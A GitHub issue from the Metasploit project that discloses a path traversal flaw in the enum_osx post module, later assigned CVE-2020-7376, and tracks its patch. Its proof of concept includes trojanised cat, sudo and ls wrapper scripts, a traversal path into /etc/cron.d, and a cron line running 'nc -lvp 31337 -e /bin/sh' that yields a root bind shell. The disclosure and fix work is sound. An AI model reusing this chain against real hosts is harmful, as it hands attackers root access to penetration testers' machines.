New issue

Jump to bottom

post/osx/gather/enum_osx: permits remote command execution on Metasploit host #14008

Closed bcoles opened this issue on Aug 17, 2020 · 4 comments

Labels bug module

bcoles commented on Aug 17, 2020 Contributor

On the victim-soon-to-be-attacker host - create some fun executables :

```
root@linux-mint-19-3-amd64:/bin# ls -la /bin/cat*
-rwxr-xr-x 1 root root   128 Aug 17 19:37 /bin/cat
-rwxr-xr-x 1 root root 35064 Aug 17 19:17 /bin/cat.backup

root@linux-mint-19-3-amd64:/bin# ls -la /usr/bin/sudo*
-rwsr-xr-x 1 root root    103 Aug 17 19:34 /usr/bin/sudo
-rwsr-xr-x 1 root root 149080 Aug 17 19:02 /usr/bin/sudo.backup
lrwxrwxrwx 1 root root      4 Jan 12  2020 /usr/bin/sudoedit -> sudo
-rwxr-xr-x 1 root root  56128 Oct 11  2019 /usr/bin/sudoreplay

root@linux-mint-19-3-amd64:/bin# ls -la /bin/ls*
-rwxr-xr-x 1 root root    119 Aug 17 19:34 /bin/ls
-rwxr-xr-x 1 root root 133792 Aug 17 19:01 /bin/ls.backup
-rwxr-xr-x 1 root root  84048 Aug 23  2019 /bin/lsblk
lrwxrwxrwx 1 root root      4 Jan 12  2020 /bin/lsmod -> kmod



root@linux-mint-19-3-amd64:/bin# cat /bin/cat
#!/bin/bash

if [[ "${@}" == "lol" ]]; then
  echo "* * * * * root nc -lvp 31337 -e /bin/sh"
  exit
fi

/bin/cat.backup "${@}"

root@linux-mint-19-3-amd64:/bin# cat /usr/bin/sudo
#!/bin/bash

if [[ "${@}" =~ "-u ../../" ]]; then
  echo "lol"
  exit
fi

/usr/bin/sudo.backup "${@}"

root@linux-mint-19-3-amd64:/bin# cat /bin/ls
#!/bin/bash

if [[ "${@}" =~ "/Users" ]]; then
  echo "../../../../../../etc/cron.d/"
  exit
fi

/bin/ls.backup "${@}"
root@linux-mint-19-3-amd64:/bin#
```

On the attacker-soon-to-be-the-victim host - start a multi handler like any other day:

```
[*] Using configured payload generic/shell_reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
lhost => 172.16.191.165
lport => 1337
exitonsession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.191.165:1337
```

On the victim-soon-to-be-attacker host - give the "attacker" a shell in a root user namespace:

```
user@linux-mint-19-3-amd64:~$ unshare -r ./reverse.x64.1337.elf
```

On the attacker-soon-to-be-the-victim host - enjoy the new shell and enumerate some host info with `post/osx/gather/enum_osx` (also check there's no funny cron jobs or anything listening on `31337`, because that would be bad) :

```
msf6 exploit(multi/handler) > [*] Sending stage (3008420 bytes) to 172.16.191.152
[*] Meterpreter session 1 opened (172.16.191.165:1337 -> 172.16.191.152:44626) at 2020-08-17 05:41:29 -0400

msf6 exploit(multi/handler) > use post/osx/gather/enum_osx
msf6 post(osx/gather/enum_osx) > set session 1
session => 1
msf6 post(osx/gather/enum_osx) > cat /etc/cron.d/lol
[*] exec: cat /etc/cron.d/lol

cat: /etc/cron.d/lol: No such file or directory
msf6 post(osx/gather/enum_osx) > lsof -i :31337
[*] exec: lsof -i :31337

msf6 post(osx/gather/enum_osx) > run
```

```
[!] SESSION may not be compatible with this module.
[*] Running module against 172.16.191.152
[*] This session is running as root!
[*] Saving all data to /root/.msf4/logs/post/enum_osx/172.16.191.152_20200817.4152
[*]     Enumerating OS
[*]     Enumerating Network
[*]     Enumerating Bluetooth
[*]     Enumerating Ethernet
[*]     Enumerating Printers
[*]     Enumerating USB
[*]     Enumerating Airport
[*]     Enumerating Firewall
[*]     Enumerating Known Networks
[*]     Enumerating Applications
[*]     Enumerating Development Tools
[*]     Enumerating Frameworks
[*]     Enumerating Logs
[*]     Enumerating Preference Panes
[*]     Enumerating StartUp
[*]     Enumerating TCP Connections
[*]     Enumerating UDP Connections
[*]     Enumerating Environment Variables
[*]     Enumerating Last Boottime
[*]     Enumerating Current Activity
[*]     Enumerating Process List
[*]     Enumerating Users
[*]     Enumerating Groups
[*] Extracting history files
[*] Enumerating and Downloading keychains for ../../../../../../etc/cron.d/
[*] Post module execution completed
msf6 post(osx/gather/enum_osx) > echo that is not at all unsettling ...
[*] exec: echo that is not at all unsettling ...

that is not at all unsettling ...
msf6 post(osx/gather/enum_osx) > ls -la ../../../../../../etc/cron.d/
[*] exec: ls -la ../../../../../../etc/cron.d/

total 48
drwxr-xr-x   2 root root  4096 Aug 17 05:41 .
drwxr-xr-x 229 root root 12288 Aug 17 05:40 ..
-rw-r--r--   1 root root   285 Nov 29  2018 anacron
-rw-r--r--   1 root root   201 Jul 25  2019 e2scrub_all
-rw-r--r--   1 root root   469 Jan  7  2019 geoipupdate
-rw-r--r--   1 root root   607 Mar  9  2016 john
-rw-r--r--   1 root root    40 Aug 17 05:41 lol
-rw-r--r--   1 root root   712 Jan  4  2018 php
-rw-r--r--   1 root root   102 Oct  3  2017 .placeholder
-rw-r--r--   1 root root   396 Dec 23  2017 sysstat
msf6 post(osx/gather/enum_osx) > cat /etc/cron.d/lol
[*] exec: cat /etc/cron.d/lol

* * * * * root nc -lvp 31337 -e /bin/sh
msf6 post(osx/gather/enum_osx) > lsof -i :31337
[*] exec: lsof -i :31337

COMMAND     PID USER   FD   TYPE   DEVICE SIZE/OFF NODE NAME
nc      2495846 root    3u  IPv6 16635489      0t0  TCP *:31337 (LISTEN)
nc      2495846 root    4u  IPv4 16635490      0t0  TCP *:31337 (LISTEN)
msf6 post(osx/gather/enum_osx) >
```

On the victim-soon-to-be-the-attacker host:

```
user@linux-mint-19-3-amd64:~$ nc 172.16.191.165 31337 -v
Connection to 172.16.191.165 31337 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/root
```

After patch (#14007):

```
msf6 post(osx/gather/enum_osx) > edit lib/msf/core/post/file.rb
[*] Reloading /root/Desktop/metasploit-framework/lib/msf/core/post/file.rb
msf6 post(osx/gather/enum_osx) > rexploit
[*] Reloading module...

[!] SESSION may not be compatible with this module.
[*] Running module against 172.16.191.152
[*] This session is running as root!
[*] Saving all data to /root/.msf4/logs/post/enum_osx/172.16.191.152_20200817.3944
[*]     Enumerating OS
[*]     Enumerating Network
[*]     Enumerating Bluetooth
[*]     Enumerating Ethernet
[*]     Enumerating Printers
[*]     Enumerating USB
[*]     Enumerating Airport
[*]     Enumerating Firewall
[*]     Enumerating Known Networks
[*]     Enumerating Applications
[*]     Enumerating Development Tools
[*]     Enumerating Frameworks
[*]     Enumerating Logs
[*]     Enumerating Preference Panes
[*]     Enumerating StartUp
[*]     Enumerating TCP Connections
[*]     Enumerating UDP Connections
[*]     Enumerating Environment Variables
[*]     Enumerating Last Boottime
[*]     Enumerating Current Activity
[*]     Enumerating Process List
[*]     Enumerating Users
[*]     Enumerating Groups
[*] Extracting history files
[*] Enumerating and Downloading keychains for ../../../../../../etc/cron.d/
[-] Post failed: Errno::ENOENT No such file or directory @ rb_sysopen - /root/.msf4/logs/post/enum_osx/172.16.191.152_20200817.3944//etc/cron.d/lol
[-] Call stack:
[-]   /usr/lib/ruby/2.7.0/fileutils.rb:1150:in `initialize'
[-]   /usr/lib/ruby/2.7.0/fileutils.rb:1150:in `open'
```

```
[-]   /usr/lib/ruby/2.7.0/fileutils.rb:1150:in `rescue in block in touch'
[-]   /usr/lib/ruby/2.7.0/fileutils.rb:1146:in `block in touch'
[-]   /usr/lib/ruby/2.7.0/fileutils.rb:1144:in `each'
[-]   /usr/lib/ruby/2.7.0/fileutils.rb:1144:in `touch'
[-]   /root/Desktop/metasploit-framework/lib/msf/core/post/file.rb:269:in `file_local_write'
[-]   /root/Desktop/metasploit-framework/modules/post/osx/gather/enum_osx.rb:379:in `block (2 levels) in get_keychains'
[-]   /root/Desktop/metasploit-framework/modules/post/osx/gather/enum_osx.rb:374:in `each'
[-]   /root/Desktop/metasploit-framework/modules/post/osx/gather/enum_osx.rb:374:in `block in get_keychains'
[-]   /root/Desktop/metasploit-framework/modules/post/osx/gather/enum_osx.rb:371:in `each'
[-]   /root/Desktop/metasploit-framework/modules/post/osx/gather/enum_osx.rb:371:in `get_keychains'
[-]   /root/Desktop/metasploit-framework/modules/post/osx/gather/enum_osx.rb:48:in `run'
[*] Post module execution completed
msf6 post(osx/gather/enum_osx) >
```

🚀 1

bcoles added **module** bug labels on Aug 17, 2020

bcoles mentioned this issue on Aug 17, 2020

Review `file_local_*` methods in `Msf::Post::File` #10076

Closed

cdelafuente-r7 mentioned this issue on Aug 18, 2020

Msf::Post::File.file_local_write: Use Rex::FileUtils.clean_path(local_file_name) #14007

Merged

cdelafuente-r7 commented on Aug 18, 2020 — Contributor

Closing this issue since it has been fixed now.

cdelafuente-r7 closed this as completed on Aug 18, 2020

---

bcoles mentioned this issue on Aug 19, 2020

post/osx/gather/enum_osx: review and rewrite #14022

Open

bcoles commented on Aug 19, 2020 — Contributor, Author

Presumably this also affects Metasploit Pro.

@todb-r7 please request a CVE.

todb-r7 commented on Aug 20, 2020 — Contributor

Sure thing! Take CVE-2020-7376.

@bcoles if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.

bcoles commented on Aug 21, 2020 — Contributor, Author

> Sure thing! Take CVE-2020-7376.
>
> **@bcoles** if you could be so kind, can you pick your favorite CWE vuln class and write a brief description of the issue? I can use that to populate the CVE ID.

CWE-23: Relative Path Traversal

The `post/osx/gather/enum_osx` module is affected by a relative path traversal vulnerability in the `get_keychains` method which can be exploited to write arbitrary files to arbitrary locations on the host filesystem when the module is run on a malicious host.

In terms of affected versions, this probably affects the module since the get_keychains method was introduced in 2011, to versions before 6.0.2.

This probably affects Metasploit running on any supported platform. Tested with Metasploit running on Linux.

todb-r7 added a commit to todb-r7/cvelist that referenced this issue on Aug 24, 2020

`Add CVEs for two Metasploit modules` ··· `07c6606`

todb-r7 mentioned this issue on Aug 24, 2020

Add CVEs for two Metasploit modules rapid7/cvelist#30

Merged

Assignees

No one assigned

Labels

bug module

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants